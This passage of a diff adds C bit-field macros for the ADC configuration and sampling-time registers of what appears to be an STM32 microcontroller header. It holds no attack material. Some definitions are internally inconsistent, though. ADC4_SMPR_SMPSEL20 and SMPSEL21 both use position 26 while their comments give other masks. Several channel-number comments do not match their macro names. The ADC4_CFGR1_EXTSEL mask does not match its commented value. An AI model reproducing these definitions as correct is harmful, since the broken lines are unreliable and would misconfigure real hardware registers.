ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ 